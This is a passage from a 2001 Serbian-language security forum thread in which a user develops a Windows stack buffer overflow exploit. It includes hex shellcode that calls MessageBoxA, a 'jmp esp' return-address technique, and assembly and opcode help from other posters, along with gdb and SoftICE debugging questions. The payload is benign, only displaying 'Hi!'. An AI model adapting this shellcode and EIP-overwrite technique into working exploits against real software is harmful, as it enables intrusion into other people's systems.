Srodne teme
14.04.2024. Re: Gde je Kejt? (samo pogrešni odgovori)
30.07.2001. vCard exploit
15.03.2002. Plug-inovi (Delphi/win32asm)
14.03.2002. Problem sa dll-ovima
18.04.2002. dll
01.08.2002. DLL
24.06.2003. dll missing
19.02.2011. pisanje .dll u VB-u?
Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.

MessageBoxA in user32.dll

[es] :: Security Coding :: MessageBoxA in user32.dll

Strane: 1 2 3

[ Pregleda: 9920 | Odgovora: 40 ] > FB > Twit

Postavi temu Odgovori

Autor

Pretraga teme: Traži
Markiranje Štampanje RSS

kajla
Milorad Janković
Beograd

Član broj: 445
Poruke: 909
*.verat.net



+2 Profil

icon MessageBoxA in user32.dll22.07.2001. u 17:42 - pre 277 meseci
Da li neko zna kako mogu da saznam adresu MessageBoxA u user32.dll? (adrese se razlikuju u zavisnosti od win-a)

poz.
 
Odgovor na temu

slash

Član broj: 538
Poruke: 38
*.net.hinet.hr



Profil

icon Re: MessageBoxA in user32.dll22.07.2001. u 18:19 - pre 277 meseci
Citat:
kajla je napisao:
Da li neko zna kako mogu da saznam adresu MessageBoxA u user32.dll? (adrese se razlikuju u zavisnosti od win-a)

poz.



skini SoftICE pa probaj s njim...cim se bavis inace ?

Freelance security consultant -
UNIX Administrator -
www.avalon.hr - [email protected]
 
Odgovor na temu

Vojislav Milunovic

Član broj: 25
Poruke: 2117
*.verat.net



+1 Profil

icon Re: MessageBoxA in user32.dll22.07.2001. u 22:31 - pre 277 meseci
Hmm probaj sa GetProcAddress ili tako nesto ima API fja....
Kod bi ovako nesto trebao da ide:

void *handler;
void *func;
handel = LoadLibray("user32.dll");
func = GetProcAddress(handler,"MessageBoxA");

ili je pak to GetProcAddr proveri u MSDN ;o)
 
Odgovor na temu

kajla
Milorad Janković
Beograd

Član broj: 445
Poruke: 909
*.verat.net



+2 Profil

icon Re: MessageBoxA in user32.dll23.07.2001. u 13:49 - pre 277 meseci
Da, to sa GetProcAddress radi tako.

Inace pravim buffer overflow exploit pa hocu da napravim shell_code koji ce da prikazuje MessageBox (tek da bi video da exploit radi).

poz.

PS. koja je najnovija verzija SoftICE-a?
 
Odgovor na temu

kajla
Milorad Janković
Beograd

Član broj: 445
Poruke: 909
*.verat.net



+2 Profil

icon Re: MessageBoxA in user32.dll24.07.2001. u 13:05 - pre 277 meseci
Nasao sam adresu MessageBoxA (0xBFF5412E)
i napravio shell_code:

55 8B EC 33 FF 57 C6 45 FC 48 C6 45 FD 69 C6 45 FE 21 BA
2E 41 F5 BF 52 57 8D 55 FC 52 52 57 FF 55 F8

u eip sam stavio jmp esp, koji sam nasao u kernel32.dll (0x8012F5CD), shell_code u stack. Tako da bi trebo da se pojavi MessageBox, pa da se program srusi. Ali desi se sledece:

Program se odmah srusi ne pojavi se MessageBox, onda ja u SoftICE pogledam stack:

55 8B EC 33 FF 57 C6 45 FC 48 C6 45 FD 69 C6 45 FE 21 BA
2E 41 F5 BF 52 05 00 00 C0 52 52 57 FF 55 F8
.........................^^^^^^^^ (tackice su zbog formatiranja)
ovo se razlikuje zasto?
sad ja adresu iz esp-a upisem u eip, i izadjem iz SoftICE, sada se pojavi MessageBox ali sa nekim potpuno bezveze tekstom!

Jos jedno pitanje u vezi SoftICE, da li je moguce da ja njemu zadajem asemblerske instrtukcije (recimo umesto sto sam adresu iz esp-a upisao u eip, kako mogu da izvrsim mov esp,eip)

poz.


[Ovu poruku je menjao kajla dana 07-24-2001 u 01:07 PM GMT]
 
Odgovor na temu

Vojislav Milunovic

Član broj: 25
Poruke: 2117
*.verat.net



+1 Profil

icon Re: MessageBoxA in user32.dll24.07.2001. u 15:31 - pre 277 meseci
Code:

push   %ebp
mov    %esp,%ebp
xor    %edi,%edi
push   %edi
movb   $0x48,0xfffffffc(%ebp)
movb   $0x69,0xfffffffd(%ebp)
movb   $0x21,0xfffffffe(%ebp)
mov    $0xbff5412e,%edx
push   %edx
push   %edi 
lea    0xfffffffc(%ebp),%edx
push   %edx
push   %edx
push   %edi
call   *0xfffffff8(%ebp)


Malo ti je cudan ceo shellcode.
Za stampanje stringa uopste nemoras da koristis ovako nesto.
Recimo call *MessageBoxA bi resilo probelme.
Naime na ebp - 8 ne znam da li uopste imas adresu ... logicinije bi bilo call *0xfffffff8(%esp)
 
Odgovor na temu

Vojislav Milunovic

Član broj: 25
Poruke: 2117
*.verat.net



+1 Profil

icon Re: MessageBoxA in user32.dll24.07.2001. u 15:34 - pre 277 meseci
+ da kazem da ne vidim nigde string koji ces da stampas ,a pripremanje frame pointera(ebp) ( push %ebp,movl %esp,%ebp) nije potrebno u shellcodeu ;o)
 
Odgovor na temu

kajla
Milorad Janković
Beograd

Član broj: 445
Poruke: 909
*.beotel.net



+2 Profil

icon Re: MessageBoxA in user32.dll24.07.2001. u 16:27 - pre 277 meseci
Citat:
predator je napisao:
Code:

push   %ebp
mov    %esp,%ebp
xor    %edi,%edi
push   %edi
movb   $0x48,0xfffffffc(%ebp)
movb   $0x69,0xfffffffd(%ebp)
movb   $0x21,0xfffffffe(%ebp)
mov    $0xbff5412e,%edx
push   %edx
push   %edi 
lea    0xfffffffc(%ebp),%edx
push   %edx
push   %edx
push   %edi
call   *0xfffffff8(%ebp)


Malo ti je cudan ceo shellcode.
Za stampanje stringa uopste nemoras da koristis ovako nesto.
Recimo call *MessageBoxA bi resilo probelme.
Naime na ebp - 8 ne znam da li uopste imas adresu ... logicinije bi bilo call *0xfffffff8(%esp)


Pogledaj malo pazljivije:

movb $0x48,0xfffffffc(%ebp)
movb $0x69,0xfffffffd(%ebp)
movb $0x21,0xfffffffe(%ebp)

Shell_code inace stampa "Hi!" (bez navodnika), kao sto znas 0x48=H,
0x69=i,0x21=!. Inace resio sam problem, tako da sada exploit radi, dodao sam shell_cod-u da pozove exit(0).

Jos uvek stoje ona pitanja u vezi SoftICE-a.

poz.
 
Odgovor na temu

Vojislav Milunovic

Član broj: 25
Poruke: 2117
*.verat.net



+1 Profil

icon Re: MessageBoxA in user32.dll24.07.2001. u 16:37 - pre 277 meseci
Ali kod ti poziva -0x8(%ebp) a tamo se ne nalazi ova adresa od MessageBoxA to ja kazem ;o)
 
Odgovor na temu

kajla
Milorad Janković
Beograd

Član broj: 445
Poruke: 909
*.94.EUnet.yu



+2 Profil

icon Re: MessageBoxA in user32.dll24.07.2001. u 18:18 - pre 277 meseci
Kod zapravo ide ovako:

Code:

push ebp
mov ebp,esp
xor edi,edi
push edi
mov byte ptr[ebp-04h],48h
mov byte ptr[ebp-03h],69h
mov byte ptr[ebp-02h],21h
mov edx, 0xBFF5412E
push edx
push edi
lea edx,[ebp-04h]
push edx
push edx
push edi
call dword ptr[ebp-08h]


poz.
 
Odgovor na temu

Vojislav Milunovic

Član broj: 25
Poruke: 2117
*.verat.net



+1 Profil

icon Re: MessageBoxA in user32.dll24.07.2001. u 19:58 - pre 277 meseci
Opet sam se ja istripovao nesto,dobro je...ummm jebem ti mozak kad stane !!!
 
Odgovor na temu

kajla
Milorad Janković
Beograd

Član broj: 445
Poruke: 909
*.64.EUnet.yu



+2 Profil

icon Re: MessageBoxA in user32.dll26.07.2001. u 13:34 - pre 276 meseci
Ne vidim kako u gdb-u da uradim sledece:
$ gdb

(gdb) file main
Reading symbols from main...done.
(gdb) break overflow
Breakpoint 1 at 0x8048486
(gdb) run
Starting program: /home/trifold/main

Breakpoint 1, 0x08048486 in overflow ()
(gdb)nexti
(gdb)nexti

e sad ja hocu da izvrsim:

call 0x8048480

kako? tj kako da izvrsim bilo koju asm instrukciju?

poz.
 
Odgovor na temu

Vojislav Milunovic

Član broj: 25
Poruke: 2117
*.verat.net



+1 Profil

icon Re: MessageBoxA in user32.dll26.07.2001. u 13:59 - pre 276 meseci
Ako oces da izvrsis neku asm instrukciju onda moras da napravis program za to.Ja licno nisam video u gdb dokumentaciji da se tako nesto pominje.
 
Odgovor na temu

kajla
Milorad Janković
Beograd

Član broj: 445
Poruke: 909
*.verat.net



+2 Profil

icon Re: MessageBoxA in user32.dll26.07.2001. u 15:49 - pre 276 meseci
Hoces da kazes da je to nemoguce uraditi iz gdb-a? Cudno jer mi to ponekad zatreba. Nego me zanima kako u gdb-u da ocitam vredonst sa neke momorijske lokacije (to je moglo u SoftICE da se uradi sa "d 0xBF70000" - pokazuje sadrzaj momerijske lokacije 0xBF7000), jos me zanima:
sa naredbom disassemble gdb pretvara "opcodes" sa zadate memorijske lokacije u asm instrukcije, da li je moduce uraditi suprotno?

poz.
 
Odgovor na temu

kajla
Milorad Janković
Beograd

Član broj: 445
Poruke: 909
*.verat.net



+2 Profil

icon Re: MessageBoxA in user32.dll26.07.2001. u 15:55 - pre 276 meseci
Zaboravih da pitam: zanima me jos kako se iz gdb-a edituje neka memorijska lokacija kao i kako da editujem registre. (u SoftICE se to radilo "e 0xBFF7000" - edituje, "r eip" - edituje eip).

poz.
 
Odgovor na temu

Vojislav Milunovic

Član broj: 25
Poruke: 2117
*.verat.net



+1 Profil

icon Re: MessageBoxA in user32.dll26.07.2001. u 17:51 - pre 276 meseci
Za sadrzaj neke promenljive korsti :
x/x adresaq

A za menjanje sadrzaja registra to ne znam.Za pretvaranje asm instrukcije u binarno mozes da koristis x/bx adresa pa koliko ti treba ili samo x/x za 4 byte-a ;o)
 
Odgovor na temu

kajla
Milorad Janković
Beograd

Član broj: 445
Poruke: 909
*.99.EUnet.yu



+2 Profil

icon Re: MessageBoxA in user32.dll28.07.2001. u 14:43 - pre 276 meseci
Napravio sam sledeci progy:
Code:

main()
{
__asm{
push 0
call 0x1020af90
}
}


e sad ovaj MS VC se is3povo pa mi javlja kod ovog call "invalid operand type" , ne kapiram sto neradi ja sam meni je u A86 ovo radilo:
Code:

push 0
call 1020af90h

poz.

PS. treba mi opcodes za ovu instrukciju "call 0x1020AF90".



[Ovu poruku je menjao kajla dana 07-28-2001 u 02:44 PM GMT]
 
Odgovor na temu

Vojislav Milunovic

Član broj: 25
Poruke: 2117
*.verat.net



+1 Profil

icon Re: MessageBoxA in user32.dll28.07.2001. u 16:10 - pre 276 meseci
Posto samo call 0x0x1020af90 nesto se folira evo ti jedan drugi nacin koji je takodje veoma uspesan ;o)

Code:

int main(){
 __asm__ (
   "movl $0x1020af90,%eax \n"
   "call *%eax \n" );
}


sto u HEX izgleda vako :

Code:

char code[]="\xb8\x90\xaf\x20\x10\xff\xd0";
 
Odgovor na temu

kajla
Milorad Janković
Beograd

Član broj: 445
Poruke: 909
*.InfoSky.Net



+2 Profil

icon Re: MessageBoxA in user32.dll29.07.2001. u 23:51 - pre 276 meseci
Ma znam za taj nacin, prebacis adresu u neki registar, pa ona ides sa:
Code:

call <ime_registra>


Ali kod je kraci kad ides sa:
Code:

call 0x1020AF90


poz.

 
Odgovor na temu

tOwk
Danilo Šegan
Zemun/Beograd

Član broj: 94
Poruke: 2743
*.etf.bg.ac.yu

ICQ: 9344053
Sajt: alas.matf.bg.ac.yu/~mm011..


+2 Profil

icon Re: MessageBoxA in user32.dll30.07.2001. u 02:35 - pre 276 meseci
samo kod za tu call instrukciju:

0xe8 0x8b 0xaf 0x20 0x10

ovako radi za svaki far call, pa prema tome

0xe8 na pocetak, pa adresa u little endian obliku...

Toliko.
Možda se moje mišljenje promenilo, ali ne i činjenica da sam u pravu.
 
Odgovor na temu

[es] :: Security Coding :: MessageBoxA in user32.dll

Strane: 1 2 3

[ Pregleda: 9920 | Odgovora: 40 ] > FB > Twit

Postavi temu Odgovori

Srodne teme
14.04.2024. Re: Gde je Kejt? (samo pogrešni odgovori)
30.07.2001. vCard exploit
15.03.2002. Plug-inovi (Delphi/win32asm)
14.03.2002. Problem sa dll-ovima
18.04.2002. dll
01.08.2002. DLL
24.06.2003. dll missing
19.02.2011. pisanje .dll u VB-u?
Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.